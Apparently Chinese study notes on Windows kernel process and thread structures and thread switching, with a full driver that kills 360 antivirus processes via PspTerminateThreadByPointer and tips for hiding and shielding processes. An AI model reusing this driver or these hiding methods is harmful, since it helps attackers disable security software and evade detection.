目前依旧是32位操作系统的大前提结论;
进程 进程结构 主要分析进程结构体;
下面说的都是普通进程的特性,不包括system进程和0号进程;
32位下占4GB大小,64位下使用48位表示线性地址,高16位用于区分模块,所以占256TB大小;
刚刚创建好进程的时候,只是创建了一个进程结构体 ,并对载入的EXE,DLL等模块做拉伸,修复的操作,分配必要的内存空间写入,并不具有动态特性,没有栈,也没有堆;但是PEB,TEB会额外分配内存空间写入;
进程主要就两个状态,活跃和死亡;挂起是对线程而言;进程就是一坨内存,没有动态特性;
进程结构体在windbg中的符号是: _EPROCESS,它的第一个字段就是 _KPROCESS:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 0 : kd> dt _KPROCESS 88280440 ntdll!_KPROCESS +0x000 Header : _DISPATCHER_HEADER +0x010 ProfileListHead : _LIST_ENTRY [ 0x88280450 - 0x88280450 ] +0x018 DirectoryTableBase : 0xbe8c9500 +0x01c LdtDescriptor : _KGDTENTRY +0x024 Int21Descriptor : _KIDTENTRY +0x02c ThreadListHead : _LIST_ENTRY [ 0x880e4768 - 0x8906aad0 ] +0x034 ProcessLock : 0 +0x038 Affinity : _KAFFINITY_EX +0x044 ReadyListHead : _LIST_ENTRY [ 0x88280484 - 0x88280484 ] +0x04c SwapListEntry : _SINGLE_LIST_ENTRY +0x050 ActiveProcessors : _KAFFINITY_EX +0x05c AutoAlignment : 0 y0 +0x05c DisableBoost : 0 y0 +0x05c DisableQuantum : 0 y0 +0x05c ActiveGroupsMask : 0 y1 +0x05c ReservedFlags : 0 y0000000000000000000000000000 (0 ) +0x05c ProcessFlags : 0 n8 +0x060 BasePriority : 8 '' //线程继承进程的基本优先级 +0x061 QuantumReset : 18 ' ' //线程时间碎片的基础值,在运行态的时间 +0x062 Visited : 0 ' ' +0x063 Unused3 : 0 '' +0x064 ThreadSeed : [1] 0 +0x068 IdealNode : [1] 0 +0x06a IdealGlobalNode : 0 +0x06c Flags : _KEXECUTE_OPTIONS //可以动态关闭SEH机制 +0x06d AddressPolicy : 0 ' ' +0x06e IopmOffset : 0x20ac +0x070 Unused4 : 0 +0x074 StackCount : _KSTACK_COUNT +0x078 ProcessListEntry : _LIST_ENTRY [ 0x0 - 0x0 ] +0x080 CycleTime : 0 +0x088 KernelTime : 0 +0x08c UserTime : 0 +0x090 VdmTrapcHandler : (null)
补充windbg操作: ba r4 地址, ba w4 地址,打读写断点,4的意思是读写字节是4个;
_E封装和_K封装的区别在于,E是执行体层,K是微内核层;一般E更大更宽;
_EPROCESS:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 0 : kd> dt _EPROCESS 88280440 ntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x098 ProcessLock : _EX_PUSH_LOCK +0x0a0 CreateTime : _LARGE_INTEGER 0x01dd5d2e `cee3f13b +0x0a8 ExitTime : _LARGE_INTEGER 0x0 +0x0b0 RundownProtect : _EX_RUNDOWN_REF +0x0b4 UniqueProcessId : 0x00000d2c Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x89021dd8 - 0x88fd6930 ] +0x0e4 SessionProcessLinks : _LIST_ENTRY [ 0x89021e04 - 0x88fb9e04 ] +0x0ec DebugPort : (null) +0x0f0 ExceptionPortData : 0x88a08468 Void +0x0f0 ExceptionPortValue : 0x88a08468 +0x0f0 ExceptionPortState : 0 y000 +0x0f4 ObjectTable : 0x8e820ec0 _HANDLE_TABLE +0x0f8 Token : _EX_FAST_REF +0x0fc WorkingSetPage : 0x1de0a +0x100 AddressCreationLock : _EX_PUSH_LOCK +0x104 RotateInProgress : (null) +0x108 ForkInProgress : (null) +0x10c HardwareTrigger : 0 +0x110 PhysicalVadRoot : (null) +0x114 CloneRoot : (null) +0x118 NumberOfPrivatePages : 0x5f7 +0x11c NumberOfLockedPages : 1 +0x120 Win32Process : 0xff4292f0 Void +0x124 Job : (null) +0x128 SectionObject : 0x94370c80 Void +0x12c SectionBaseAddress : 0x01320000 Void +0x130 Cookie : 0x2e13f128 +0x134 Spare8 : 0 +0x138 WorkingSetWatch : (null) +0x13c Win32WindowStation : 0x00000038 Void +0x140 InheritedFromUniqueProcessId : 0x00000a7c Void +0x144 LdtInformation : (null) +0x148 VdmObjects : (null) +0x14c ConsoleHostProcess : 0 +0x150 DeviceMap : 0x8e9f6e68 Void +0x154 EtwDataSource : (null) +0x158 FreeTebHint : 0x7ff98000 Void +0x160 PageDirectoryPte : 0 +0x168 Session : 0x8ffdc000 Void +0x16c ImageFileName : [15 ] "iexplore.exe" +0x17b PriorityClass : 0x2 '' +0x17c JobLinks : _LIST_ENTRY [ 0x0 - 0x0 ] +0x184 LockedPagesList : (null) +0x188 ThreadListHead : _LIST_ENTRY [ 0x880e47f0 - 0x8906ab58 ] //当前进程的所有线程链表,和_KPROCESS的一样 +0x190 SecurityPort : (null) +0x194 PaeTop : 0x880c9500 Void +0x198 ActiveThreads : 0x14 //活着的线程数 +0x19c ImagePathHash : 0x1b894afb +0x1a0 DefaultHardErrorProcessing : 0 +0x1a4 LastThreadExitStatus : 0n0 +0x1a8 Peb : 0x7ffd7000 _PEB //PEB +0x1ac PrefetchTrace : _EX_FAST_REF /* +0x1b0 ReadOperationCount : _LARGE_INTEGER 0x43 +0x1b8 WriteOperationCount : _LARGE_INTEGER 0x2d +0x1c0 OtherOperationCount : _LARGE_INTEGER 0x962 读写删除访问的统计次数 +0x1c8 ReadTransferCount : _LARGE_INTEGER 0x9aac +0x1d0 WriteTransferCount : _LARGE_INTEGER 0x958a +0x1d8 OtherTransferCount : _LARGE_INTEGER 0x55f2 */ +0x1e0 CommitChargeLimit : 0 +0x1e4 CommitChargePeak : 0x72e +0x1e8 AweInfo : (null) +0x1ec SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO //进程的全路径 +0x1f0 Vm : _MMSUPPORT +0x25c MmProcessLinks : _LIST_ENTRY [ 0x89021f7c - 0x88fd6ad4 ] +0x264 HighestUserAddress : 0x7fff0000 Void +0x268 ModifiedPageCount : 0x23 +0x26c Flags2 : 0xa00d000 //关键标志位2 +0x26c JobNotReallyActive : 0y0 +0x26c AccountingFolded : 0y0 +0x26c NewProcessReported : 0y0 +0x26c ExitProcessReported : 0y0 +0x26c ReportCommitChanges : 0y0 +0x26c LastReportMemory : 0y0 +0x26c ReportPhysicalPageChanges : 0y0 +0x26c HandleTableRundown : 0y0 +0x26c NeedsHandleRundown : 0y0 +0x26c RefTraceEnabled : 0y0 +0x26c NumaAware : 0y0 +0x26c ProtectedProcess : 0y0 //为1,则CE无法附加,弱保护(应用层访问拒绝) //就是 PPL 保护 +0x26c DefaultPagePriority : 0y101 +0x26c PrimaryTokenFrozen : 0y1 +0x26c ProcessVerifierTarget : 0y0 +0x26c StackRandomizationDisabled : 0y0 +0x26c AffinityPermanent : 0y0 +0x26c AffinityUpdateEnable : 0y0 +0x26c PropagateNode : 0y0 +0x26c ExplicitAffinity : 0y0 +0x26c Spare1 : 0y0 +0x26c ForceRelocateImages : 0y0 +0x26c DisallowStrippedImages : 0y0 +0x26c LowVaAccessible : 0y1 +0x26c RestrictIndirectBranchPrediction : 0y0 +0x26c AddressPolicyFrozen : 0y1 +0x26c SpeculativeStoreBypassDisable : 0y0 +0x270 Flags : 0x144d0801 //关键标志位 +0x270 CreateReported : 0y1 +0x270 NoDebugInherit : 0y0 +0x270 ProcessExiting : 0y0 +0x270 ProcessDelete : 0y0 +0x270 Wow64SplitPages : 0y0 +0x270 VmDeleted : 0y0 +0x270 OutswapEnabled : 0y0 +0x270 Outswapped : 0y0 +0x270 ForkFailed : 0y0 +0x270 Wow64VaSpace4Gb : 0y0 +0x270 AddressSpaceInitialized : 0y10 +0x270 SetTimerResolution : 0y0 +0x270 BreakOnTermination : 0y0 //为1,那么结束进程就蓝屏 +0x270 DeprioritizeViews : 0y0 +0x270 WriteWatch : 0y0 +0x270 ProcessInSession : 0y1 +0x270 OverrideAddressSpace : 0y0 +0x270 HasAddressSpace : 0y1 +0x270 LaunchPrefetched : 0y1 +0x270 InjectInpageErrors : 0y0 +0x270 VmTopDown : 0y0 +0x270 ImageNotifyDone : 0y1 +0x270 PdeUpdateNeeded : 0y0 +0x270 VdmAllowed : 0y0 +0x270 CrossSessionCreate : 0y0 +0x270 ProcessInserted : 0y1 //是否允许别人把本进程句柄插入到他的句柄表 //为0,则不允许,则别人无法打开本进程对象 //包括自己人也不行 +0x270 DefaultIoPriority : 0y010 +0x270 ProcessSelfDelete : 0y0 +0x270 SetTimerResolutionLink : 0y0 +0x274 ExitStatus : 0n259 //不是259,进程就意味着已经退出了 +0x278 VadRoot : _MM_AVL_TABLE +0x298 AlpcContext : _ALPC_PROCESS_CONTEXT +0x2a8 TimerResolutionLink : _LIST_ENTRY [ 0x0 - 0x0 ] +0x2b0 RequestedTimerResolution : 0 +0x2b4 ActiveThreadsHighWatermark : 0x14 +0x2b8 SmallestTimerResolution : 0 +0x2bc TimerResolutionStackRecord : (null) +0x2c0 SequenceNumber : 0x3c +0x2c8 CreateInterruptTime : 0x29278a7c +0x2d0 CreateUnbiasedInterruptTime : 0x29278a7c +0x2d8 SecurityDomain : 0x00000001`00000019
可以通过这个进程结构里面的进程链表进行进程遍历,思路和驱动链表遍历是一样的;
也可以同之前的方法一样,进行进程断链隐藏自身;
进程结构获取 可以使用pid来暴力枚举所有进程;
使用 PsLookupProcessByProcessId 暴力枚举,断链是没有用的,隐藏不掉;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 PEPROCESS FindProcessByNameW (PWCHAR processName) { for (unsigned int i = 12 ; i < 0xFFFFFFFC ; i += 4 ) { PEPROCESS Process = NULL ; NTSTATUS st = PsLookupProcessByProcessId((HANDLE)i, &Process); if (!NT_SUCCESS(st)) continue ; if (PsGetProcessExitStatus(Process) != STATUS_PENDING) { ObDereferenceObject(Process); continue ; } PUNICODE_STRING fullPath = NULL ; st = SeLocateProcessImageName(Process, &fullPath); if (!NT_SUCCESS(st)) { ObDereferenceObject(Process); continue ; } PWCHAR baseName = wcsrchr(fullPath->Buffer, L'\\' ); if (baseName) { baseName += 1 ; if (!_wcsicmp(baseName, processName)) { ExFreePool(fullPath); return Process; } } ExFreePool(fullPath); ObDereferenceObject(Process); } return NULL ; }
进程保护 有三种姿势:
第一种是把进程结构中的pid改成别人的,这个时候在任务管理器里面就看不到对应进程信息了;
第二种是改进程结构中的 ProtectedProcess 位,改了以后应用层访问会被拒绝;
第三种是改进程结构中的 ProcessInserted 位,改了以后连任务管理器都查不到进程信息,也关不掉进程;
线程 线程结构 线程的运作必须依靠进程提供空间,线程才具有动态特性;常常说的进程是指一个进程加上一个主线程;
栈是线程独立的,每个线程拥有自己的栈,每个线程也分用户栈和线程栈;
线程也有两个环境:R3的TEB,R0的ETHREAD;
线程有两个”父亲“:一个是创建线程的那个进程(生父);一个是当前线程附加的进程(养父);
会出现养父的情况是线程处于内核态,可以进行挂靠;线程处于用户态只能属于生父;
线程相关的线程链表,亲和性都是继承于生父,养父只是暂时的,不是那么重要;
相对的,线程的结构也分 K和E封装,提一嘴,windows里面的KTHREAD和KPROCESS就对应操作系统的TCB,PCB;
下面是 _KTHREAD :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 0 : kd> dt _KTHREAD 88e49218 ntdll!_KTHREAD +0x000 Header : _DISPATCHER_HEADER +0x010 CycleTime : 0x1989aa7 +0x018 HighCycleTime : 0 +0x020 QuantumTarget : 0x5b68264 +0x028 InitialStack : 0xb2cbced0 Void +0x02c StackLimit : 0xb2cba000 Void +0x030 KernelStack : 0xb2cbcac8 Void +0x034 ThreadLock : 0 +0x038 WaitRegister : _KWAIT_STATUS_REGISTER +0x039 Running : 0 '' //为 1 那么线程处于运行态 +0x03a Alerted : [2] "" //APC相关 +0x03c KernelStackResident : 0y1 +0x03c ReadyTransition : 0y0 +0x03c ProcessReadyQueue : 0y0 +0x03c WaitNext : 0y0 +0x03c SystemAffinityActive : 0y0 +0x03c Alertable : 0y0 //为1,则有通知的时候可以被唤醒 +0x03c GdiFlushActive : 0y0 +0x03c UserStackWalkActive : 0y0 +0x03c ApcInterruptRequest : 0y0 //APC打断请求能否被触发(能否执行APC) +0x03c ForceDeferSchedule : 0y0 +0x03c QuantumEndMigrate : 0y0 +0x03c UmsDirectedSwitchEnable : 0y0 +0x03c TimerActive : 0y0 +0x03c SystemThread : 0y0 +0x03c Reserved : 0y000000000000000000 (0) +0x03c MiscFlags : 0n1 +0x040 ApcState : _KAPC_STATE //_KAPC_STATE里面有个Process,指向养父 //的 KPROCESS //它决定了当前CR3的值属于哪个进程 //值为0,就没有养父,属于生父 +0x040 ApcStateFill : [23] "X???" +0x057 Priority : 9 ' ' //优先级,就是操作系统里面那个概念 //优先级越高,越先执行,执行次数越多 //Windows有32个优先级 +0x058 NextProcessor : 1 //下一个运行该线程的核 +0x05c DeferredProcessor : 6 +0x060 ApcQueueLock : 0 //操作APC队列的时候的一把锁 +0x064 ContextSwitches : 0x5d //线程切换次数 +0x068 State : 0x5 ' ' //状态,操作系统的那个三态表的概念 +0x069 NpxState : 0 ' ' //协处理器状态,一般不用 +0x06a WaitIrql : 0 ' ' +0x06b WaitMode : 1 '' //r3等待或者r0等待模式 +0x06c WaitStatus : 0n0 //正常等待为0 +0x070 WaitBlockList : 0x88e492d8 _KWAIT_BLOCK //等待相关 +0x074 WaitListEntry : _LIST_ENTRY [ 0x87f3fad4 - 0x888df0a4 ] +0x074 SwapListEntry : _SINGLE_LIST_ENTRY +0x07c Queue : (null) +0x080 WaitTime : 0x1173 //等待的时间 +0x084 KernelApcDisable : 0n0 //关闭普通APC,非0为关闭 +0x086 SpecialApcDisable : 0n0 //关闭紧急APC,非0为关闭 +0x084 CombinedApcDisable : 0 //上面两个的组合 +0x088 Teb : 0x7ff9e000 Void //TEB +0x090 Timer : _KTIMER //定时器 +0x0b8 AutoAlignment : 0y0 +0x0b8 DisableBoost : 0y0 +0x0b8 EtwStackTraceApc1Inserted : 0y0 +0x0b8 EtwStackTraceApc2Inserted : 0y0 +0x0b8 CalloutActive : 0y0 +0x0b8 ApcQueueable : 0y1 //是否有APC队列 +0x0b8 EnableStackSwap : 0y1 +0x0b8 GuiThread : 0y0 //是否是UI线程 +0x0b8 UmsPerformingSyscall : 0y0 +0x0b8 VdmSafe : 0y0 +0x0b8 UmsDispatched : 0y0 +0x0b8 ReservedFlags : 0y000000000000000000000 (0) +0x0b8 ThreadFlags : 0n96 +0x0bc ServiceTable : 0x83f8eb00 Void +0x0c0 WaitBlock : [4] _KWAIT_BLOCK +0x120 QueueListEntry : _LIST_ENTRY [ 0x0 - 0x0 ] +0x128 TrapFrame : 0xb2cbcc34 _KTRAP_FRAME +0x12c FirstArgument : 0x0000052c Void +0x130 CallbackStack : (null) +0x130 CallbackDepth : 0 +0x134 ApcStateIndex : 0 ' ' //线程是否挂靠,为1是挂靠 +0x135 BasePriority : 8 ' ' +0x136 PriorityDecrement : 0 '' +0x136 ForegroundBoost : 0y0000 +0x136 UnusualBoost : 0y0000 +0x137 Preempted : 0 ' ' +0x138 AdjustReason : 0 '' +0x139 AdjustIncrement : 1 ' ' +0x13a PreviousMode : 1 '' +0x13b Saturation : 0 ' ' +0x13c SystemCallNumber : 0x187 +0x140 FreezeCount : 0 +0x144 UserAffinity : _GROUP_AFFINITY +0x150 Process : 0x88dd2d20 _KPROCESS +0x154 Affinity : _GROUP_AFFINITY +0x160 IdealProcessor : 1 +0x164 UserIdealProcessor : 1 +0x168 ApcStatePointer : [2 ] 0x88e49258 _KAPC_STATE +0x170 SavedApcState : _KAPC_STATE +0x170 SavedApcStateFill : [23 ] "" +0x187 WaitReason : 0x6 '' +0x188 SuspendCount : 0 ' ' +0x189 Spare1 : 0 '' +0x18a OtherPlatformFill : 0 ' ' +0x18c Win32Thread : (null) +0x190 StackBase : 0xb2cbd000 Void +0x194 SuspendApc : _KAPC +0x194 SuspendApcFill0 : [1 ] "??????" +0x195 ResourceIndex : 0x1 '' +0x194 SuspendApcFill1 : [3] "???" +0x197 QuantumReset : 0x12 ' ' +0x194 SuspendApcFill2 : [4 ] "???" +0x198 KernelTime : 0 +0x194 SuspendApcFill3 : [36 ] "???" +0x1b8 WaitPrcb : 0x807ca120 _KPRCB +0x194 SuspendApcFill4 : [40 ] "???" +0x1bc LegoData : (null) +0x194 SuspendApcFill5 : [47 ] "???" +0x1c3 LargeStack : 0 '' +0x1c4 UserTime : 0 +0x1c8 SuspendSemaphore : _KSEMAPHORE +0x1c8 SuspendSemaphorefill : [20] "???" +0x1dc SListFaultCount : 0 +0x1e0 ThreadListEntry : _LIST_ENTRY [ 0x88dd2d4c - 0x88e498d8 ] //线程链表,进程下的所有线程,不是所有线程 //KPROCESS里面的是头节点,这是循环链表 //所以最后一个线程节点会指向KPROCESS //内核结构中的链表节点指向都是指在腰上的 +0x1e8 MutantListHead : _LIST_ENTRY [ 0x88e49400 - 0x88e49400 ] +0x1f0 SListFaultAddress : (null) +0x1f4 ThreadCounters : (null) +0x1f8 XStateSave : (null)
可以发现线程结构里有很多字段和 APC 相关,后续会进一步学习;
这些线程链表的结构可以这么表示,记住这张图就行:
是双向循环链表,PROCESS和THREAD结构的偏移还不一样,但都是指向腰上的,LIST_ENTRY都有这个指在腰上的特性;
_ETHREAD :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 0 : kd> dt _ETHREAD 88 d25598ntdll!_ETHREAD +0x000 Tcb : _KTHREAD +0x200 CreateTime : _LARGE_INTEGER 0x01dd6128 `292b 4c80 +0x208 ExitTime : _LARGE_INTEGER 0x88d257a0 `88 d257a0 +0x208 KeyedWaitChain : _LIST_ENTRY [ 0x88d257a0 - 0x88d257a0 ] +0x210 ExitStatus : 0 n0 +0x214 PostBlockList : _LIST_ENTRY [ 0x0 - 0x770b6be8 ] +0x214 ForwardLinkShadow : (null) +0x218 StartAddress : 0x770b6be8 Void +0x21c TerminationPort : (null) +0x21c ReaperLink : (null) +0x21c KeyedWaitValue : (null) +0x220 ActiveTimerListLock : 0 +0x224 ActiveTimerListHead : _LIST_ENTRY [ 0x88d257bc - 0x88d257bc ] +0x22c Cid : _CLIENT_ID +0x234 KeyedWaitSemaphore : _KSEMAPHORE +0x234 AlpcWaitSemaphore : _KSEMAPHORE +0x248 ClientSecurity : _PS_CLIENT_SECURITY_CONTEXT +0x24c IrpList : _LIST_ENTRY [ 0x88d257e4 - 0x88d257e4 ] +0x254 TopLevelIrp : 0 +0x258 DeviceToVerify : (null) +0x25c CpuQuotaApc : (null) +0x260 Win32StartAddress : 0x00ff1c9a Void +0x264 LegacyPowerObject : (null) +0x268 ThreadListEntry : _LIST_ENTRY [ 0x88dfebe0 - 0x88dd2ea8 ] +0x270 RundownProtect : _EX_RUNDOWN_REF +0x274 ThreadLock : _EX_PUSH_LOCK +0x278 ReadClusterSize : 7 +0x27c MmLockOrdering : 0 n0 +0x280 CrossThreadFlags : 0xa802 +0x280 Terminated : 0 y0 +0x280 ThreadInserted : 0 y1 +0x280 HideFromDebugger : 0 y0 +0x280 ActiveImpersonationInfo : 0 y0 +0x280 Reserved : 0 y0 +0x280 HardErrorsAreDisabled : 0 y0 +0x280 BreakOnTermination : 0 y0 +0x280 SkipCreationMsg : 0 y0 +0x280 SkipTerminationMsg : 0 y0 +0x280 CopyTokenOnOpen : 0 y0 +0x280 ThreadIoPriority : 0 y010 +0x280 ThreadPagePriority : 0 y101 +0x280 RundownFail : 0 y0 +0x280 NeedsWorkingSetAging : 0 y0 +0x284 SameThreadPassiveFlags : 0 +0x284 ActiveExWorker : 0 y0 +0x284 ExWorkerCanWaitUser : 0 y0 +0x284 MemoryMaker : 0 y0 +0x284 ClonedThread : 0 y0 +0x284 KeyedEventInUse : 0 y0 +0x284 RateApcState : 0 y00 +0x284 SelfTerminate : 0 y0 +0x288 SameThreadApcFlags : 0 +0x288 Spare : 0 y0 +0x288 StartAddressInvalid : 0 y0 +0x288 EtwPageFaultCalloutActive : 0 y0 +0x288 OwnsProcessWorkingSetExclusive : 0 y0 +0x288 OwnsProcessWorkingSetShared : 0 y0 +0x288 OwnsSystemCacheWorkingSetExclusive : 0 y0 +0x288 OwnsSystemCacheWorkingSetShared : 0 y0 +0x288 OwnsSessionWorkingSetExclusive : 0 y0 +0x289 OwnsSessionWorkingSetShared : 0 y0 +0x289 OwnsProcessAddressSpaceExclusive : 0 y0 +0x289 OwnsProcessAddressSpaceShared : 0 y0 +0x289 SuppressSymbolLoad : 0 y0 +0x289 Prefetching : 0 y0 +0x289 OwnsDynamicMemoryShared : 0 y0 +0x289 OwnsChangeControlAreaExclusive : 0 y0 +0x289 OwnsChangeControlAreaShared : 0 y0 +0x28a OwnsPagedPoolWorkingSetExclusive : 0 y0 +0x28a OwnsPagedPoolWorkingSetShared : 0 y0 +0x28a OwnsSystemPtesWorkingSetExclusive : 0 y0 +0x28a OwnsSystemPtesWorkingSetShared : 0 y0 +0x28a TrimTrigger : 0 y00 +0x28a Spare1 : 0 y00 +0x28b PriorityRegionActive : 0 '' +0x28c CacheManagerActive : 0 ' ' +0x28d DisablePageFaultClustering : 0 '' +0x28e ActiveFaultCount : 0 ' ' +0x28f LockOrderState : 0 '' +0x290 AlpcMessageId : 0 +0x294 AlpcMessage : (null) +0x294 AlpcReceiveAttributeSet : 0 +0x298 AlpcWaitListEntry : _LIST_ENTRY [ 0x0 - 0x0 ] +0x2a0 CacheManagerCount : 0 +0x2a4 IoBoostCount : 0 +0x2a8 IrpListLock : 0 +0x2ac ReservedForSynchTracking : (null) +0x2b0 CmCallbackListHead : _SINGLE_LIST_ENTRY +0x2b4 KernelStackReference : 1
杀死360 主要是通过内核模块未公开函数:PspTerminateThreadByPointer,以强制杀死线程;
这种姿势可以干掉360进程;线程全部杀了,进程自然就死了;
但这种方法杀的不干净 ,因为360有r0的服务还挂着,过一会儿进程又给你打开了;
用到的偏移值都是写死了,实际应用时,可以选择特征码搜索,源码特征提取,或者弄一个版本对应偏移表,三种姿势提升健壮性;
用到了之前的枚举进程的函数,和获取SSDT表的姿势:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 #include <ntifs.h> PEPROCESS FindProcessByNameW (PWCHAR processName) { for (unsigned int i = 12 ; i < 0xFFFFFFFC ; i += 4 ) { PEPROCESS Process = NULL ; NTSTATUS st = PsLookupProcessByProcessId((HANDLE)i, &Process); if (!NT_SUCCESS(st)) continue ; if (PsGetProcessExitStatus(Process) != STATUS_PENDING) { ObDereferenceObject(Process); continue ; } PUNICODE_STRING fullPath = NULL ; st = SeLocateProcessImageName(Process, &fullPath); if (!NT_SUCCESS(st)) { ObDereferenceObject(Process); continue ; } PWCHAR baseName = wcsrchr(fullPath->Buffer, L'\\' ); if (baseName) { baseName += 1 ; if (!_wcsicmp(baseName, processName)) { ExFreePool(fullPath); return Process; } } ExFreePool(fullPath); ObDereferenceObject(Process); } return NULL ; } typedef NTSTATUS (NTAPI* MyPspTerminateThreadByPointer) ( PKTHREAD Thread, NTSTATUS ExitStatus, BOOLEAN DirectTerminate ) ;MyPspTerminateThreadByPointer g_PspTerminateThreadByPointer = NULL ; typedef struct _SSDTItem { PULONG_PTR funcTable; ULONG_PTR unUse; ULONG_PTR funcNum; PUCHAR paramSizeTable; }SSDTItem, * PSSDTItem; typedef struct _SSDTService { SSDTItem ssdt; SSDTItem sssdt; }SSDTService, * PSSDTService; EXTERN_C PSSDTService KeServiceDescriptorTable; VOID DriverUnload (PDRIVER_OBJECT pDriver) {} typedef struct _ProcessNameTable { WCHAR name[20 ]; }ProcessNameTable, * PProcessNameTable; NTSTATUS DriverEntry (PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg) { PVOID NtOpenProcessAddr = KeServiceDescriptorTable->ssdt.funcTable[0xbe ]; PVOID baseAddr = ((PUCHAR)NtOpenProcessAddr - 0x21FC8F ); g_PspTerminateThreadByPointer = ((PUCHAR)baseAddr + 0x25CB38 ); int num = 0 ; PProcessNameTable _360pList = (PProcessNameTable)ExAllocatePool(NonPagedPool, 0x1000 ); wcscpy((_360pList[num++]).name, L"360Tray.exe" ); wcscpy((_360pList[num++]).name, L"360leakfixer.exe" ); wcscpy((_360pList[num++]).name, L"360Safe.exe" ); for (int i = 0 ; i < num; i++) { PEPROCESS pEprocess = FindProcessByNameW((_360pList[i]).name); if (pEprocess != NULL ) { PLIST_ENTRY pOriThreadNode = (PLIST_ENTRY)((PUCHAR)pEprocess + 0x188 ); for (PLIST_ENTRY pThreadNode = pOriThreadNode->Flink; pThreadNode != pOriThreadNode; pThreadNode = pThreadNode->Flink) { PETHREAD pEthread = ((PUCHAR)pThreadNode - 0x268 ); g_PspTerminateThreadByPointer((PKTHREAD)pEthread, STATUS_SUCCESS, TRUE); } } } DbgPrintEx(77 , 0 , "[bc] done.\n" ); ExFreePool(_360pList); pDriver->DriverUnload = DriverUnload; return STATUS_SUCCESS; }
就绪线程链表 接下来算是知识补充,补充的内容和接下来的线程切换机制相关;
每一个核(逻辑处理器,操作系统能看到的虚拟核)都有一个 KPCR结构对这个核进行描述;所以每一个核都有一个 KPRCB(一个子结构,是KPCR的字段);每个核都有32个就绪链表;
有个结构数组叫 KiProcessorBlock(内核全局指针数组),这个数组也存放了每个核的 KPRCB;
KPRCB中有一个字段是: DispatcherReadyListHead;这个是链表头;
它的结构大概是: _LIST_ENTRY [32],是对于 LIST_ENTRY 的数组,有32个,对应32个优先级;
KPRCB中另一字段: ReadySummary;这是一个位图,四字节数据,32个位代表了32个链表;位为1代表就绪链表中插入的有就绪线程;
一个内核API叫做: KiSelectReadyThread,主要是用到了KPRCB中的DispatcherReadyListHead字段,以及ReadySummary;
其功能是从指定处理器(核)选取优先级高的线程进行就绪链表的脱链操作,并返回对应的KTHREAD结构;
它的两个参数需求则是传入优先级(可选)和KPRCB;
线程切换 线程的切换是无时无刻不在发生的;
线程状态枚举体:
1 2 3 4 5 6 7 8 9 10 11 12 13 typedef enum _KTHREAD_STATE { Initialized, Ready, Running, Standby, Terminated, Waiting, Transition, DeferredReady, GateWaitObsolete, } KTHREAD_STATE, *PKTHREAD_STATE;
Windows中状态可以随时切换,切换时无顺序;
同时这个线程状态只是用于描述,比如运行态并不代表线程正在正确的eip和esp上执行,只有KTHREAD上的Running标志才能代表这种关系;
有两种切换方式,一种就是时间片到了,自动切出来;
一种就是内核API切换,而且可以说,内核70%的API使用过程中都会导致线程切换;
主动切换 下面解释的主要是第二种切换过程:
最底层的内核API是 KiSwap 系列函数,大部分API一路调用下去都会到这个函数去;
KiSwapThread决定了获取下一个要切换线程的优先级:
KPRCB.IdleThread(闲置线程) > KPRCB.NextThread > KiSelectReadyThread()
之后会进入 KiSwapContext ,这个东西会做五个 重要操作(当然它会保存必要的上下文等待下次恢复):一是更改对应KTHREAD结构的KernelStack以及Running,会涉及到老的线程结构和新的线程结构;一句话其实就切换了线程:KernelStack的修改;
当A线程的esp被更改为B的esp后,一路返回就能返回到B线程的业务代码处;当B再调用API进入KiSwapContext,如果选择的线程是A,那么esp又被修改成A的esp,一路经过栈返回,就会回到A的业务代码处;这就是线程切换的本质,即线程栈的切换;
当然,切换了线程栈还不够,二是还要判断是否是不同的进程,所以还要切换CR3(页表),那么即使一路返回到R3去,也能正常执行;
三是也会更改对应KPCR中的TSS中的ESP0为 KTHREAD中InitialStack 减去一个固定值的位置(每次线程切换都会更改,这个位置就是R3进R0的trapframe的位置处)
为什么要更改? A:TSS任务段是核相关的,切换线程需要改对应线程的SP值;
四是置空gs段寄存器;
五是根据TEB给fs赋新值;
被动切换 被动切换和时钟中断相关;
